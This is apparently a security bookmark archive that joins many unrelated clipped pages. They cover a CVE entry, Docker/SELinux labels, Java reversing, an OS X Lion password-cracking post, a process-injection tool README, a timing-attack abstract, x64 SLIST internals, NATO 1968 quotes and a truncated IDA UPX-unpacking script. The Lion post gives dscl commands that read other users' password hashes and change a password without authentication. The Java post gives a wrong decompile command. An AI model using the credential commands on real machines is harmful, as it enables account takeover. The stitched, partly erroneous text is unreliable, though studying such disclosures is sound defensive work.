>         (+)    :: a -> a -> a     -- (Num is defined in the Prelude)  
>         negate :: a -> a
>  
>  
[/code]

> This declaration may be read “a type a is an instance of the class Num if
> there are class methods \(+\) and negate, of the given types, defined on
> it.”
\(Source www.haskell.org\)

Note the words “Hindley-Milner”, “polymorphic”, “static type semantics”,
“overloaded operations”.

The reason they wrote their doc like that is because they are academicians.
You might think that their writing is really scholarly, mathematically
meaningful, full of rigor, and the daunting appearance must be due to the
advanced math ideas by necessity. The irony is that the writing is actually
most lousy tech writing. Most of their use of computer science jargons are
uncessary to the point of being irrelevant. And, the writing quality is
nothing close to the quality of standard math journal's articles.

For some exposition of esoterism, see: World Multiconference on Systemics,
Cybernetics and Informatics???.

# CVE - CVE-2011-3026 \(under review\)

**Created:**| _3/23/2012 12:06:55 PM_  
---|---  
**Updated:**| _3/23/2012 12:06:55 PM_  
**Author:**| __  
**Tags:**| _bughunting browser_  
  
CVE-ID  
---  
## CVE-2011-3026

\(under review\) |  Learn more at National Vulnerability Database \(NVD\) • Severity Rating • Fix Information • Vulnerable Software Versions • SCAP Mappings  
Description  
Integer overflow in libpng, as used in Google Chrome before 17.0.963.56,
allows remote attackers to cause a denial of service or possibly have
unspecified other impact via unknown vectors that trigger an integer
truncation.  
References  
**Note:** References are provided for the convenience of the reader to help
distinguish between vulnerabilities. The list is not intended to be complete.  
  * CONFIRM:http://code.google.com/p/chromium/issues/detail?id=112822
  * CONFIRM:http://googlechromereleases.blogspot.com/2012/02/chrome-stable-update.html

  
Status  
**Candidate**|  This CVE Identifier has "Candidate" status and must be
reviewed and accepted by the CVE Editorial Board before it can be updated to
official "Entry" status on the CVE List. It may be modified or even rejected
in the future.  
Phase  
Assigned \(20110809\)

# Docker and SELinux — Project Atomic

**Created:**| _1/2/2019 6:40:23 PM_  
---|---  
**Updated:**| _1/2/2019 6:40:23 PM_  
**Author:**| __  
**Tags:**| __  
  

  

# Docker and SELinux

The interaction between SELinux policy and Docker is focused on two concerns:
protection of the host, and protection of containers from one another.

## SELinux Labels for Docker

SELinux labels consist of 4 parts:

[code]

    User:Role:Type:level.
    
[/code]

SELinux controls access to processes by Type and Level. Docker offers two
forms of SELinux protection: type enforcement and multi-category security
\(MCS\) separation.

### Type Enforcement

Type enforcement is a kind of enforcement in which rules are based on process
type. It works in the following way. The default type for a confined container
process is svirt\_lxc\_net\_t. This type is permitted to read and execute all
files "types" under /usr and most types under /etc. svirt\_lxc\_net\_t is
permitted to use the network but is not permitted to read content under /var,
/home, /root, /mnt … svirt\_lxc\_net\_t is permitted to write only to files
labeled svirt\_sandbox\_file\_t and docker\_var\_lib\_t. All files in a
container are labeled by default as svirt\_sandbox\_file\_t. Access to
docker\_var\_lib\_t is permitted in order to allow the use of docker volumes.

### Multi-Category Security \(MCS\) Separation

MCS Separation is sometimes called svirt. It works in the following way. A
unique value is assigned to the "level" field of the SELinux label of each
container. By default each container is assigned the MCS Level equivalent to
the PID of the docker process that starts the container. In OpenShift, this
could be overridden to generate an MCS Level based on the UID. This field can
also be used in Multi-Level Security \(MLS\) environments where it is
desirable to set the field to "TopSecret" or "Secret".

The standard targeted policy includes rules that dictate that the MCS Labels
of the process must "dominate" the MCS label of the target. The target is
usually a file. The MCS Label usually looks something like s0:c1,c2 Such a
label would "Dominate" files labeled s0, s0:c1, s0:c2, s0:c1,c2. It would not,
however, dominate s0:c1,c3. All MCS Labels are required to use two Categories.
"s0:c1" and "s0:c2" are ill-formed, and are not MCS Labels. This guarantees
that no two containers can have the same MCS Label by default. Files with s0
\(Most files on the system\) are not blocked by MCS: access to such files,
governed by Type Enforcement, would still be enforced.

## More Information

For more information on SELinux see this article for OpenSource.com:

http://opensource.com/business/13/11/selinux-policy-guide

\(It’s a coloring book that explains SELinux\!\)

# Reverse Enginnering Java » SANS Computer Forensics, Investigation, and
Response

**Created:**| _10/13/2009 8:46:19 PM_  
---|---  
**Updated:**| _10/13/2009 8:46:27 PM_  
**Author:**| __  
**Tags:**| _reversing Java_  
  

## Reverse Enginnering Java

Posted by craigswright on September 28, 2009 – 2:16 pm

Filed under Computer Forensics, Incident Response, Malware Analysis, Reverse
Engineering

You have just come across a site compromise. You believe that the client was
impacted due to a malicious java .class file on a rogue website that they
visited. The class file is compiled, what can you do?

Luckily, java class files are simple to reverse engineer. In fact, using just
the native JDK, the process could not be much simpler \(the setting of
classpath and ensuring that your java JDK is configured correctly is
critical\).

At the simplest, the process would be to use the command:

  * javac -c classfile

The ‘-c’ option is used to specify that you want to decompile the java
bytecode.

The term ‘classfile’ is where you specify the file that you are seeking to
decode.

When reversing java based malware, the chances are that the code will have
been obscured. This means that the stages above are not the totality of
accessing the code. Compression and cryptors are some of the methods deployed.
This will add a layer of obsfucation to the code.

For instance, a compressed class file could be called by the code you have
decoded. This initial layer of code would hence form a shell that makes the
code that actually did the damage harder to analyse. On top of this, a few
simple techniques \(such as using Unicode to hide strings\) can be deployed.

You may not get a native java file, but at least you have the constructors and
variables used and this gets you a long way into understanding the code.

_Craig Wright is a Director with Information Defense in Australia. He holds
both the GSE-Malware and GSE-Compliancecertifications from GIAC. He is a
perpetual student with numerous post graduate degrees including an LLM
specializing in international commercial law and ecommerce law as well as
working on his 4th IT focused Masters degree \(Masters in System Development\)
from Charles Stuart University where he is helping to launch a Masters degree
in digital forensics. He is engaged in his second doctorate, a PhD on the
quantification of information system risk at CSU._

| |   
---|---|---
  *[September 28, 2009 – 2:16 pm]: 2009-09-28T14:16:35+0000

# Defence in Depth: Cracking OS X Lion Passwords

**Created:**| _9/20/2011 8:23:16 AM_  
---|---  
**Updated:**| _9/20/2011 8:23:16 AM_  
**Author:**| __  
**Tags:**| _LOLZ Mac-hacking_  
  

### Cracking OS X Lion Passwords

Email This BlogThis\! Share to Twitter Share to Facebook

In 2009 I posted an article on Cracking Mac OS X passwords. Whilst this post
has been quite popular, it was written for OS X 10.6 and prior. Since the
release of Mac OS X Lion \(10.7\) in July, I have received numerous requests
for an update. Typically, I would have just updated the existing article
without the need for a new post. However, during my research I discovered
something interesting about OS X Lion that I'd like to share.  
  
In previous versions of OS X \(10.6, 10.5, 10.4\) the process to extract user
password hashes has been the same: obtain the user's GeneratedUID and then use
that ID to extract hashes from a specific user's shadow file \(See my previous
post for a more detailed description\).  
  
When it comes to Lion, the general premise is the same \(albeit a few
technical differences\). Each user has their own shadow file, with each shadow
file stored under a .plist file located in
/var/db/dslocal/nodes/Default/users/.  
  
The interesting thing when it comes to Lion's implementation, however, is
privilege. As mentioned above, all OS X versions are using shadow files. For
the unfamiliar, a shadow file is that which can only be accessed by users with
a high privilege \(typically root\). So for all modern OS X platforms \(Tiger,
Leopord, Snow Leapord and Lion\) each user has their own shadow file \(hash
database\) whose data is accessible only by the root user… or at least it
should be.  
  
It appears in the redesign of OS X Lion's authentication scheme a critical
step has been overlooked. Whilst non-root users are unable to access the
shadow files directly, Lion actually provides non-root users the ability to
still view password hash data. This is accomplished by extracting the data
straight from Directory Services.  
  
If we invoke a a directory services listing on user bob by specifying the
/Local/ path we can see bob's standard profile information:  
  

> $ dscl localhost -read /Local/Default/Users/bob
  
This provides us with nothing too exciting. However, if we invoke the
directory services listing using the /Search/ path, we see a different result:  
  

> $ dscl localhost -read /Search/Users/bob
<img src='img/Temp2_2089.png' width='320' height='209' />

  
From the output, we can see the following data:  
  
**dsAttrTypeNative:ShadowHashData:**  
  
62706c69 73743030 d101025d 53414c54 45442d53 48413531 324f1044 74911f72
3bd2f66a 3255e0af 4b85c639 776d510b 63f0b939 c432ab6e 082286c4 7586f19b
4e2f3aab 74229ae1 24ccb11e 916a7a1c 9b29c64b d6b0fd6c bd22e7b1 f0ba1673
080b1900 00000000 00010100 00000000 00000300 00000000 00000000 00000000 000060  
  
Note: The SHA512 hash is stored from bytes 32-96 \(green\) and the salt is
stored from bytes 28-31\(red\). For more information on these hashes please
see this thread.  
  
This ShadowHashData attribute actually contains the same hash stored in user
bob's shadow .plist file. The interesting thing about this? root privileges
are not required. All users on the system, regardless of privilege, have the
ability to access the ShadowHashData attribute from any other user's profile.  
  
Due to Lions relatively short time on the market, I am yet to find any of the
major crackers supporting OS X Lion hashes \(SHA512 + 4-byte salt\). To
simplify the cracking of these hashes I have created a simple python script
which can be downloaded here.  
  
Now, if the password is not found by the dictionary file you're out of luck,
right? Well, no\! Why crack hashes when you can just change the password
directly\! It appears Directory Services in Lion no longer requires
authentication when requesting a password change for the current user. So, in
order to change the password of the currently logged in user, simply use:  
  

> $ dscl localhost -passwd /Search/Users/bob  
>
  
And voilà\! You will be prompted to enter a new password without the need to
authenticate.

# secrary/InjectProc

**Created:**| _5/31/2017 6:08:41 PM_  
---|---  
**Updated:**| _5/31/2017 6:08:41 PM_  
**Author:**| __  
**Tags:**| _Malware-analysis dll-injection_  
  

  

###  README.md

# InjectProc

Process injection is a very popular method to hide malicious behavior of code
and are heavily used by malware authors.

There are several techniques, which are commonly used: DLL injection, process
replacement \(a.k.a process hollowing\), hook injection and APC injection.

Most of them use same Windows API functions: OpenProcess, VirtualAllocEx,
WriteProcessMemory, for detailed information about those functions, use MSDN.

## DLL injection:

  * Open target process.
  * Allocate space.
  * Write code into the remote process.
  * Execute the remote code.

## Process replacement:

  * Create target process and suspend it.
  * Unmap from memory.
  * Allocate space.
  * Write headers and sections into the remote process.
  * Resume remote thread.

## Hook injection:

  * Find/Create process.
  * Set hook

## APC injection:

  * Open process.
  * Allocate space.
  * Write code into remote threads.
  * "Execute" threads using QueueUserAPC.

## Download

Windows x64 binary \- x64 bit DEMO

## Dependencies:

vc\_redist.x64 \- Microsoft Visual C++ Redistributable

## DEMO

InjectProc DEMO - Process Injection Techniques

## Contributors

  * nullbites

# Warning

Works on Windows 10 build 1703, 64bit.

I've not enough time to test other systems and make it portable if you have
enough time please contribute.

I create this project for me to better understand how process injection works
and I think it will be helpful for many beginner malware analysts too.

  

# Androguard: Patch a Java class file \!

**Created:**| _12/19/2010 10:52:05 PM_  
---|---  
**Updated:**| _12/19/2010 10:52:22 PM_  
**Author:**| __  
**Tags:**| _reversing Java android_  
  

# Program-Transformation.Org

**Created:**| _1/21/2010 5:53:34 PM_  
---|---  
**Updated:**| _1/21/2010 5:53:38 PM_  
**Author:**| __  
**Tags:**| _bookmark_  
  

# Program-Transformation.Org

# Cryptology ePrint Archive: Report 2011/232

**Created:**| _6/1/2011 4:05:23 PM_  
---|---  
**Updated:**| _6/1/2011 4:05:23 PM_  
**Author:**| __  
**Tags:**| _papers crypto_  
  

## Cryptology ePrint Archive: Report 2011/232

**Remote Timing Attacks are Still Practical**

 _Billy Bob Brumley and Nicola Tuveri_

**Abstract:** For over two decades, timing attacks have been an active area of
research within applied cryptography. These attacks exploit cryptosystem or
protocol implementations that do not run in constant time. When implementing
an elliptic curve cryptosystem that provides side-channel resistance, the
scalar multiplication routine is a critical component. In such instances, one
attractive method often suggested in the literature is Montgomery's ladder
that performs a fixed sequence of curve and field operations. This paper
describes a timing attack vulnerability in OpenSSL's ladder implementation for
curves over binary fields. We use this vulnerability to steal the private key
of a TLS server where the server authenticates with ECDSA signatures. Using
the timing of the exchanged messages, the messages themselves, and the
signatures, we mount a lattice attack that recovers the private key. Finally,
we describe and implement an effective countermeasure.

**Category / Keywords:** public-key cryptography / side-channel attacks,
timing attacks, elliptic curve cryptography, lattice attack

**Date:** received 11 May 2011

**Contact author:** bbrumley at tcs hut fi

**Available formats:** PDF | BibTeX Citation
**Version:** 20110517:062315 \(All versions of this report\)

**Discussion forum:** Show discussion | Start new discussion

# Alex Ionescu’s Blog » Blog Archive » Behind Windows x64’s 44-bit Virtual
Memory Addressing Limit

**Created:**| _12/8/2009 8:45:39 AM_  
---|---  
**Updated:**| _12/8/2009 8:45:47 AM_  
**Author:**| __  
**Tags:**| _windows security Exploit reversing_  
  

## Behind Windows x64’s 44-bit Virtual Memory Addressing Limit

The era of 64-bit computing is finally upon the consumer market, and what was
once a rare hardware architecture has become the latest commodity in today’s
processors. 64-bit processors promise not only a larger amount of registers
and internal optimizations, but, perhaps most importantly, access to a full
64-bit address space, increasing the maximum number of addressable memory from
32-bits to 64-bits, or from 4GB to 16EB \(Exabytes, about 17 billion GBs\).
Although previous solutions such as PAE enlarged the physically addressable
limit to 36-bits, they were architectural “patches” and not real solutions for
increasing the memory capabilities of hungry workloads or applications.

Although 16EB is a copious amount of memory, today’s computers, as well as
tomorrow’s foreseeable machines \(at least in the consumer market\) are not
yet close to requiring support for that much memory. For these reasons, as
well as to simplify current chip architecture, the AMD64 specification \(which
Intel used for its own implementation of x64 processors, but not Itanium\)
currently only supports 48 bits of virtual address space — requiring all other
16 bits to be set to the same value as the “valid” or “implemented” bits,
resulting in canonical addresses: the bottom half of the address space starts
at 0×0000000000000000 with only 12 of those zeroes being part of an actual
address \(resulting in an end at 0×00007FFFFFFFFFFF\), while the top half of
the address space starts at 0xFFFF800000000000, ending at 0xFFFFFFFFFFFFFFFF.

As you can realize, as newer processors support more of the addressing bits,
the lower-half of memory will expand upward, towards 0×7FFFFFFFFFFFFFFF, while
the upper-half of memory will expand downward, toward 0×8000000000000000 \(a
similar split to today’s memory space, but with 32 more bits\). Anyone working
with 64-bit code ought to be very familiar with this implementation, since it
can have subtle effects on code when the number of implemented bits will grow.
Even in the 32-bit world, a number of Windows applications \(including system
code in Windows itself\) assume the most significant bit is zero and use it as
a flag — clearly the address would become kernel-mode, so the application
would mask this bit off when using it as an address. Now developers get a shot
at 16 bits to abuse as flags, sequence numbers and other optimizations that
the CPU won’t even know about \(on current x64 processors\), on top of the
usual bits that can be assumed due to alignment or user vs kernel-mode code
location. Compiling the 64-bit application for Itanium and testing it would
reveal such bugs, but this is beyond the testing capabilities of most
developers.

Examples within Microsoft’s Windows are prevalent — pushlocks, fast
references, Patchguard DPC contexts, and singly-linked lists are only some of
the common Windows mechanisms which utilize bits within a pointer for non-
addressing purposes. It is the latter of these which is of interest to us, due
to the memory addressing limit it imposed on Windows x64 due to a lack of a
CPU instruction \(in the initial x64 processors\) that the implementation
required. First, let’s have a look at the data structure and functionality on
32-bits. If you’re unsure on what exactly a singly-linked list is, I suggest a
quick read in an algorithm book or Google.

Here is the SLIST\_HEADER, the data structure Windows uses to represent an
entry inside the list:

typedef union \_SLIST\_HEADER \{  
ULONGLONG Alignment;  
struct \{  
SLIST\_ENTRY Next;  
USHORT Depth;  
USHORT Sequence;  
\} DUMMYSTRUCTNAME;  
\} SLIST\_HEADER, \*PSLIST\_HEADER;

Here we have an 8-byte structure, guaranteed to be aligned as such, composed
of three elements: the pointer to the next entry \(32-bits, or 4 bytes\), and
depth and sequence numbers, each 16-bits \(or 2 bytes\). Striving to create
lock-free push and pop operations, the developers realized that they could
make use of an instruction present on Pentium processors or higher — CMPXCHG8B
\(Compare and Exchange 8 bytes\). This instruction allows the atomic
modification of 8 bytes of data, which typically, on a 486, would’ve required
two operations \(and thus subjected these operations to race conditions
requiring a spinlock\). By using this native CPU instruction, which also
supports the LOCK prefix \(guaranteeing atomicity on a multi-processor
system\), the need for a spinlock is eliminated, and all operations on the
list become lock-free \(increasing speed\).

On 64-bit computers, addresses are 64-bits, so the pointer to the next entry
must be 64-bits. If we keep the depth and sequence numbers within the same
parameters, we require a way to modify at minimum 64+32 bits of data — or
better yet, 128. Unfortunately, the first processors did not implement the
essential CMPXCHG16B instruction to allow this. The developers had to find a
variety of clever ways to squeeze as much information as possible into only
64-bits, which was the most they could modify atomically at once. The 64-bit
SLIST\_HEADER was born:

struct \{ // 8-byte header  
ULONGLONG Depth:16;  
ULONGLONG Sequence:9;  
ULONGLONG NextEntry:39;  
\} Header8;

The first sacrifice to make was to reduce the space for the sequence number to
9 bits instead of 16 bits, reducing the maximum sequence number the list could
achieve. This still only left 39 bits for the pointer — a mediocre improvement
over 32 bits. By forcing the structure to be 16-byte aligned when allocated, 4
more bits could be won, since the bottom bits could now always be assumed to
be 0. This gives us 43-bits for addresses — we can still do better. Because
the implementation of linked-lists is used \*either\* in kernel-mode or user-
mode, but cannot be used across address spaces, the top bit can be ignored,
just as on 32-bit machines: the code will assume the address to be kernel-mode
if called in kernel-mode, and vice-versa. This allows us to address up to
44-bits of memory in the NextEntry pointer, and is the defining constraint of
Windows’ addressing limit.

44 bits is nothing to laugh at — they allow 16TB of memory to be described,
and thus splits Windows into somewhat two even chunks of 8TB for user-mode and
kernel-mode memory. Nevertheless, this is still 16 times smaller then the
CPU’s own limit \(48 bits is 256TB\), and even farther still from the maximum
64-bits. So, with scalability in mind, there do exist some other bits in the
SLIST\_HEADER which define the type of header that is being dealt with —
because yes, there is an official 16-bit header, written for the day when x64
CPUs would support 128-bit Compare and Exchange \(which they now do\). First,
a look at the full 8-byte header:

struct \{ // 8-byte header  
ULONGLONG Depth:16;  
ULONGLONG Sequence:9;  
ULONGLONG NextEntry:39;  
ULONGLONG HeaderType:1; // 0: 8-byte; 1: 16-byte  
ULONGLONG Init:1; // 0: uninitialized; 1: initialized  
ULONGLONG Reserved:59;  
ULONGLONG Region:3;  
\} Header8;

Notice how the “HeaderType” bit is overlaid with the Depth bits, and allows
the implementation and developers to deal with 16-byte headers whenever they
will be put into use. This is what they look like:

struct \{ // 16-byte header  
ULONGLONG Depth:16;  
ULONGLONG Sequence:48;  
ULONGLONG HeaderType:1; // 0: 8-byte; 1: 16-byte  
ULONGLONG Init:1; // 0: uninitialized; 1: initialized  
ULONGLONG Reserved:2;  
ULONGLONG NextEntry:60; // last 4 bits are always 0’s  
\} Header16;

Note how the NextEntry pointer has now become 60-bits, and because the
structure is still 16-byte aligned, with the 4 free bits, leads to the full
64-bits being addressable. As for supporting both these headers and giving the
full address-space to compatible CPUs, one could probably expect Windows to
use a runtime “hack” similar to the “486 Compatibility Spinlock” used in the
old days of NT, when CMPXCHG8B couldn’t always be assumed to be present
\(although Intel implemented it on the 586 Pentium, Cyrix did not\). As of
now, I’m not aware of this 16-byte header being used.

So there you have it — an important lesson not only on Windows 64-bit
programming, but also on the importance of thinking ahead when making
potentially non-scalable design decisions. Windows did a good job at
maintaining capability and still allowing expansion, but the consequences of
attempting to use parts of the non-implemented bits in current CPUs as
secondary data may be hard to detect once your software evolves to those
platforms — tread carefully.

This entry was posted on Saturday, November 3rd, 2007 at 11:17 pm and is filed
underCoding and Reversing, Random Tidbits. You can follow any responses to
this entry through the RSS 2.0 feed. You can leave a response, or trackback
from your own site.

### 5 Responses to “Behind Windows x64’s 44-bit Virtual Memory Addressing
Limit”

  1. <img src='img/Temp2_498.png' width='32' height='32' />dippy77 Says:   
November 13th, 2007 at 12:29 pm

Great post, Alex. learnt some new stuff. But, didn’t you mean

union \{ // 8-byte header  
struct \{  
ULONGLONG Depth:16;  
ULONGLONG Sequence:9;  
ULONGLONG NextEntry:39;  
\};  
struct \{  
ULONGLONG HeaderType:1;  
ULONGLONG Init:1;  
ULONGLONG Reserved:59;  
ULONGLONG Region:3;  
\};  
\} Header8;

rather than

struct \{ // 8-byte header  
ULONGLONG Depth:16;  
ULONGLONG Sequence:9;  
ULONGLONG NextEntry:39;  
ULONGLONG HeaderType:1; // 0: 8-byte; 1: 16-byte  
ULONGLONG Init:1; // 0: uninitialized; 1: initialized  
ULONGLONG Reserved:59;  
ULONGLONG Region:3;  
\} Header8;

Am I missing something here? the 2nd one becomes 16 byte structure rather than
8 byte one.

  2. <img src='img/Temp2_498.png' width='32' height='32' />dippy77 Says:   
November 13th, 2007 at 12:32 pm

Great post, Alex. learnt some new stuff. But, didn’t you mean

union \{ // 8-byte header  
struct \{  
ULONGLONG Depth:16;  
ULONGLONG Sequence:9;  
ULONGLONG NextEntry:39;  
\};  
struct \{  
ULONGLONG HeaderType:1;  
ULONGLONG Init:1;  
ULONGLONG Reserved:59;  
ULONGLONG Region:3;  
\};  
\} Header8;

rather than

struct \{ // 8-byte header  
ULONGLONG Depth:16;  
ULONGLONG Sequence:9;  
ULONGLONG NextEntry:39;  
ULONGLONG HeaderType:1; // 0: 8-byte; 1: 16-byte  
ULONGLONG Init:1; // 0: uninitialized; 1: initialized  
ULONGLONG Reserved:59;  
ULONGLONG Region:3;  
\} Header8;

The 2nd structure takes up 16 bytes rather than 8 bytes. Am I missing
something here?

  3. <img src='img/Temp2_497.png' width='32' height='32' />anthonymckay Says:   
December 16th, 2007 at 2:00 am

Interesting. I wasn’t aware of the use of the high bits of 64 bit addresses as
flags. I’m assuming that since most likely we wont have a use for 16EB’s of
memory \(at least not in my lifetime, but hey…never say never?\) that this
wont be a problem for backwards compatibility in the future? Granted, if all
this is happening in the Kernel, I suppose it doesn’t really matter.

  4. <img src='img/Temp2_498.png' width='32' height='32' />aionescu Says:   
December 18th, 2007 at 5:45 pm

Thanks dippy\!

Actually no, it is correct — the structure \*is\* 16 bytes long and defined as
such:

struct \{ // original struct  
ULONGLONG Alignment;  
ULONGLONG Region;  
\} DUMMYSTRUCTNAME;

\(The region is used on IA64\).

The problem isn’t that the 8 byte header couldn’t be expanded to 16 \(by
consuming some of the 59 reserved bits\), it’s that there was no way to
interlocked-compare-exchange 16 bytes on the first revisions of the AMD64.

Hope that clears things up.

# Smartcard-Reader von Kobil geknackt

**Created:**| _5/3/2010 7:37:43 AM_  
---|---  
**Updated:**| _5/3/2010 7:38:37 AM_  
**Author:**| __  
**Tags:**| _hardware papers reversing Hacks vulnerability_  
  
<img src='img/Temp2_7572' />

# Quotes from the Nato Software Engineering Conference in 1968 - Peter Krantz

**Created:**| _12/11/2011 11:07:58 AM_  
---|---  
**Updated:**| _12/11/2011 11:07:58 AM_  
**Author:**| __  
**Tags:**| _software testing awesome software History_  
  

# Quotes from the Nato Software Engineering Conference in 1968

Sometimes we forget that other people have faced the same problems we face
today in software development. These quotes are from the proceedings of the
Nato Software Engineering conference in 1968.

On the management of software projects:

> Programming management will continue to deserve its current poor reputation
> for cost and schedule effectiveness until such time as a more complete
> understanding of the program design process is achieved.
> We build systems like the Wright brothers built airplanes — build the whole
> thing, push it off the cliff, let it crash, and start over again.
> Production of large software has become a scare item for management. By
> reputation it is often an unprofitable morass, costly and unending. This
> reputation is perhaps deserved.
On the distinction between design and production:

> Software production takes us from the result of the design to the program to
> be executed in the computer. The distinction between design and production
> is essentially a practical one, imposed by the need for a division of the
> labor. In fact, there is no essential difference between design and
> production \[...\]
> The most deadly thing in software is the concept, which almost universally
> seems to be followed, that you are going to specify what you are going to
> do, and then do it. And that is where most of our troubles come from.
On dealing with user requirements:

> Users are interested in systems requirements and buy systems in that way.
> But that implies that they are able to say what they want. Most of the users
> aren’t able to.
> We should have feedback from users early in the design process.
On programmer performance \(compare with the essay Great Hackers by Paul
Graham\):

> I have a question on the huge range of variability of programmer
> performance. Are similar ranges found in other engineering areas? \[..\] The
> variation range in programming is in fact greater than in other fields.
On the production of software:

> We are starting gradually, and building up. My motto is ‘do something small,
> useful, now.
> Large systems must evolve, and cannot be produced all at one time. You must
> have an initial small core system that works really well.
On testing software:

> System testing should be automated as well. A collection of executable
> programs should be produced and maintained to exercise all parts of the
> system. \[...\] As an output of a test validation run, each test should list
> the modules it has exercised, and as well, should list the interfaces and
> tables it has tested. It is important to document success, as well as
> failure.

# unpack\_upx.idc

**Created:**| _5/25/2011 10:12:35 AM_  
---|---  
**Updated:**| _5/25/2011 10:12:35 AM_  
**Author:**| __  
**Tags:**| _iDS/iPS prototyping_  
  

[code]

    /*
       Copyright (c) 2003,2006 Chris Eagle (cseagle at gmail d0t c0m)
       
       Permission is hereby granted, free of charge, to any person obtaining a copy of 
       this software and associated documentation files (the "Software"), to deal in 
       the Software without restriction, including without limitation the rights to 
       use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of 
       the Software, and to permit persons to whom the Software is furnished to do so, 
       subject to the following conditions:
       
       The above copyright notice and this permission notice shall be included in all 
       copies or substantial portions of the Software.
       
       THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 
       IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS 
       FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR 
       COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER 
       IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN 
       CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
    */
     
    /*
      IDA Pro script to unpack UPX compressed Windows PE files, including those
      scrambled with UPX-Scrambler.  Note, this currently only works on binaries
      that make use of the n2b_d32 decompressor from the UCL compression library.
      I suspect it can be easily modified to handle other decompression algorithm
      variants.
      
      The script automatically extracts a few variables from the
      decompressor, decompresses the executable, initiates autoanalysis of the 
      decompressed binary, then reconstructs the import list and import table to 
      make analysis easier.
    */
    
    #include <idc.idc>
    
    #define gte(z) ((z & 0x80000000) == 0)
    #define lt(z) ((z & 0x80000000) == 0x80000000)
    
    //Undefine 4 consecutive bytes
    static undefDword(addr) {
       auto cnt;
       for (cnt = 0; cnt < 4; cnt = cnt + 1) {
          MakeUnkn(addr + cnt, 1);
       }
    }
    
    //Ida4.9 has problems when patching a value to 0xFF
    //need to path to some other value first
    static ensurePatch(addr, val) {
       auto cnt;
       for (cnt = 0; cnt < 4; cnt = cnt + 1) {
          PatchByte(addr + cnt, 0);
          PatchByte(addr + cnt, val);
          val = val >> 8;
       }
    }
    
    /*
       Analyze the import list, define strings as they are located.
       For each function name found, define a new label at the appropriate
       location in the import table
       Parameters:
          start - The address at which the import list starts
          codeGuess - The address at which we believe the code was unpacked to
    */
    static imports(start, codeGuess) {
       auto dword1, dword2, end, cnt, func;
       auto ebx;
    
       //Message("start = %x\n", start);
       
       SetLongPrm(INF_STRTYPE, ASCSTR_TERMCHR);
       while (1) {
          undefDword(start);
          MakeDword(start);
          dword1 = Dword(start);
          //Message("dword1 = %x\n", dword1);
          if (dword1 == 0) return;
          start = start + 4;
          undefDword(start);
          MakeDword(start);
          dword2 = Dword(start);
          ebx = codeGuess + dword2;
          //Message("dword2 = %x\n", dword2);
          start = start + 4;
          MakeUnkn(start, 1);
          while (Byte(start) == 1) {
             //Message("inside loop\n");
             start = start + 1;
             end = start;
             func = "";
             while (Byte(end) != 0) {
                MakeUnkn(end, 1);
                //build a string representation of the function name
                func = form("%s%c", func, Byte(end));
                end = end + 1;
             }
             MakeUnkn(end, 1);
             end = end + 1;
             MakeUnkn(start, 1);
             //Message("Converting %x..%x to %s\n", start, end, func);
             MakeStr(start, end);
             start = end;
             MakeUnkn(start, 1);
    
             //assign a name to the function pointer
             undefDword(ebx);
             MakeDword(ebx);
             //define a label for the function just discovered
             if (LocByName(func) != BADADDR) {
                func = form("%s_", func);
             }
             MakeName(ebx, func);
             ebx = ebx + 4;
          }
          start = start + 1;
       }
    }
    
    /*
       This is the decode function.  It performs the unpacking operation.
       Commented labels correspond to labels in the actual n2b_d32 source.
       Parameters:
          source - The starting address of the compressed data
          dest - The start address for the decompressed data
          numFixes - the number of relocation fix ups to perform
          ediValue - byte value for edi comparison in fix up loop
    */
    static decode(source, dest, numFixes, ediValue) {
       auto eax, ebx, ecx, ebp;
       auto edi, esi, al;
       auto skip, b1, b2, b3;
       auto carry, edx, bl, code;
    
       code = dest;
       
       ebp = 0xFFFFFFFF;
    
       ebx = 0; //forces dc11_n2b on first pass
    //decompr_loop_n2b
       while (1) {
    //decompr_loop_n2b
          while (1) {
             carry = lt(ebx);
             ebx = ebx * 2;
             if (ebx == 0) {
    //dcl1_n2b
                ebx = Dword(source);
                source = source + 4;
                carry = lt(ebx);
                ebx = ebx * 2 + 1;
             }
             if (carry == 0) break;
    //decompr_literalb_n2b
             MakeUnkn(dest, 0);
             PatchByte(dest, 0);
             PatchByte(dest, Byte(source));
             source = source + 1;
             dest = dest + 1;
          }
          eax = 1;
    //loop1_n2b   
          while (1) {
             carry = lt(ebx) ? 1 : 0;
             ebx = ebx * 2;
             if (ebx == 0) {
                ebx = Dword(source);
                source = source + 4;
                carry = lt(ebx) ? 1 : 0;
                ebx = ebx * 2 + 1;
             }
             eax = eax * 2 + carry;
             carry = lt(ebx) ? 1 : 0;
             ebx = ebx * 2;
             if (carry == 0) continue;   //jnc
             if (ebx != 0) break;
             ebx = Dword(source);
             source = source + 4;
             carry = lt(ebx) ? 1 : 0;
             ebx = ebx * 2 + 1;
             if (carry == 1) break;  //continue on jnb
          }
    //loopend1_n2b
          ecx = 0;
          carry = (eax >= 0 && eax < 3) ? 1 : 0;
          eax = eax - 3;
          if (carry == 0) {  //jb
             eax = eax << 8;
             eax = eax | Byte(source);
             source = source + 1;
             eax = ~eax;
             if (eax == 0) break;
             ebp = eax;
          }
    //decompr_ebpeax_n2b   
          carry = lt(ebx) ? 1 : 0;
          ebx = ebx * 2;
          if (ebx == 0) {
             ebx = Dword(source);
             source = source + 4;
             carry = lt(ebx) ? 1 : 0;
             ebx = ebx * 2 + 1;
          }
    //gotbit_2
          ecx = ecx * 2 + carry;
          carry = lt(ebx) ? 1 : 0;
          ebx = ebx * 2;
          if (ebx == 0) {
             ebx = Dword(source);
             source = source + 4;
             carry = lt(ebx) ? 1 : 0;
             ebx = ebx * 2 + 1;
          }
    //gotbit_3
          ecx = ecx * 2 + carry;
          if (ecx == 0) {
             ecx = 1;
    //loop2_n2b
             while (1) {
                carry = lt(ebx) ? 1 : 0;
                ebx = ebx * 2;
                if (ebx == 0) {
                   ebx = Dword(source);
                   source = source + 4;
                   carry = lt(ebx) ? 1 : 0;
                   ebx = ebx * 2 + 1;
                }
    //gotbit_4
                ecx = ecx * 2 + carry;
                carry = lt(ebx) ? 1 : 0;
                ebx = ebx * 2;
